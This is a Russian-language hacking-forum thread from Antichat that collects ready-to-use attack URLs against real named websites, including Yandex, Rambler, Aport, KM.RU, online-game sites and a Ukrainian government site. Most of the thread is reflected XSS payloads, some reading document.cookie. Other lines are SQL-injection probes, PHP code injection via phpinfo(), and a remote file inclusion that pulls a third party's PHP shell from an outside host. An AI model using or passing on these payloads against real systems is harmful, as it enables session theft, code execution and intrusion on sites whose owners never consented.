ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://suncity.combats.ru/enter.pl?step=1&add=1&login='><script>alert(/testing_by_censored!/)</script>>

http://capitalcity.combats.ru/enter.pl?login="><script>alert(/testing_by_censored!/)</script>&step=2&reminder=1234567

----------

http://rrc.territory.ru/register1.php?next=1&code=&num=&edit%5BNICK%5D=">< script>alert(/testing_by_censored!/)</script>

http://rrc.territory.ru/error.php?msg=Внимание!%20Всем%20иг� �окам%20надо%20пройти%20заново %20систему%20регистрации!%20p.s. Проходить%20ее%20надо%20на%20anti chat.ru%20=)

----------

http://forum.siemens-club.ru/member.php?Action=viewprofile&username=<script>ale rt(/testing_by_censored!/)</script>

__________________
+ (это не крестик, это плюсик!)
__________________
•
•
•

_http://www.schooljournals.net/index.php?output=CommentsPage(PHP CODE)

exmpl:

_http://www.schooljournals.net/index.php?output=CommentsPage(phpinfo())

Стоит фильтрация на все спецсимволы. Как обходить - читаем http://forum.antichat.ru/thread18219.html

http://www.mirt-service.ru/constructor.php?manufacturer=1'

http://mp3plus.ru/album.php?id=4796&art=1247'

только что, случано нашел (работает только в IE)

_http://www.yandex.ru/yandsearch?text=gLAnce_was_here&stype="><script>al ert('found_by_gLAnce')</script>
_http://images.yandex.ru/yandsearch?rpt="><script>alert('found_by_gLAnce')</script>&text=xaxa

делаемся так. Знаю что некоторые XSS уже выкладывали но всетаки удобно когда все собрано в одно место
XSS НА ИЗВЕСТНЫХ RUSS-ПОИСКОВИКАХ

Yandex.RU - Internet Explorer
_http://www.yandex.ru/yandsearch?text=gLAnce_was_here&stype="><script>al ert('found_by_gLAnce')</script>
_http://images.yandex.ru/yandsearch?rpt="><script>alert('found_by_gLAnce')</script>&text=xaxa
_http://news.yandex.ru/yandsearch?rpt=nnews2&grhow=clutop&text=sasa&doSea rch="><script>alert('found')</script>

Rambler.RU
_http://www.rambler.ru/db/news/msg.html?mid='"><script>alert('found_by_gLAnce')</script>
_http://weather.rambler.ru/index.html?search=<script>alert('found_by_gLAnce') </script>
_http://tv.rambler.ru/index.html?channel_id="><script>alert('found_by_gL Ance')</script>
_http://foto.rambler.ru/srch?control_charset=huy&sort=0&set=photo&words="> <script>alert('found_by_gLAnce')</script>
_http://horoscopes.rambler.ru/day.html?day=1%22%3E%3Cscript%3Ealert%28%27found_b y_gLAnce%27%29%3C%2Fscript%3E&month=4&year=1965&ge nder=f
_http://www.rambler.ru/db/news/news.html?s="><script>alert(found_by_gLAnce)</script>
_http://cla.rambler.ru/?action=login&error[l_login][value]=privet"><script>javascript:alert(document.cookie) </script>
_http://olymp2006.rambler.ru/winners.html?day=http://olymp2006.rambler.ru/shedule.html?day=%3Cscript%3Ealert(/XSS/)%3C/script%3E

KM.RU
_http://go.km.ru/index.asp?idr=4&ids=&wdv=0&mrv=1&dti=0&dtv=6&idt=& ann=1&srt=0&itp=2&osq=%3Cscript%3Ealert+%28found_b y_gLAnce%29%3C%2Fscript%3E&P1=&P2=&P3=&ext=0&opt=0 &hlp=0&sr=0&sq=%3Cscript%3Ealert+%28%27found_by_gL Ance%27%29%3C%2Fscript%3E
_http://conference.km.ru/add_question.asp?id="><script>alert('found_by_gLAn ce')</script>
вобщем на км.ру полно css, все писать сюда не буду

Aport.RU
_http://www.aport.ru/help/?p="><script>alert%20('found-by-gLAnce')</script>
_http://ec.aport.ru/scripts/template.dll?r="><script>alert%20('i_vot_tak_vot') </script>&That=goods&Base=eshop&Rt=2&Tn=
_http://sm.aport.ru/scripts/template.dll?That=std&r=\"><script>alert%20(/found_by_gLAnce/)</script>

http://www.mon.gov.ua

вбиваем в поиск "><script>alert(document.cookie)</script> и наслаждаемся резалтом

http://www.mon.gov.ua/phpbb/docs/ -- смотрим резалт (для ленивых -

Warning: Failed opening 'phpbb/docs//main.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/spool/www.mstu.gov.ua/main.php on line 205) ),
немного подумав уже наталкивает на мысли =)

_http://www.hedegaard.nu/index.php?p=http://k1on.nm.ru/conf.php сс что спер чей то шелл своего нету)))

_http://wordstat.yandex.ru/advq?rpt=ppc&shw="><script>alert%20(/found_by_gLAnce/)</script>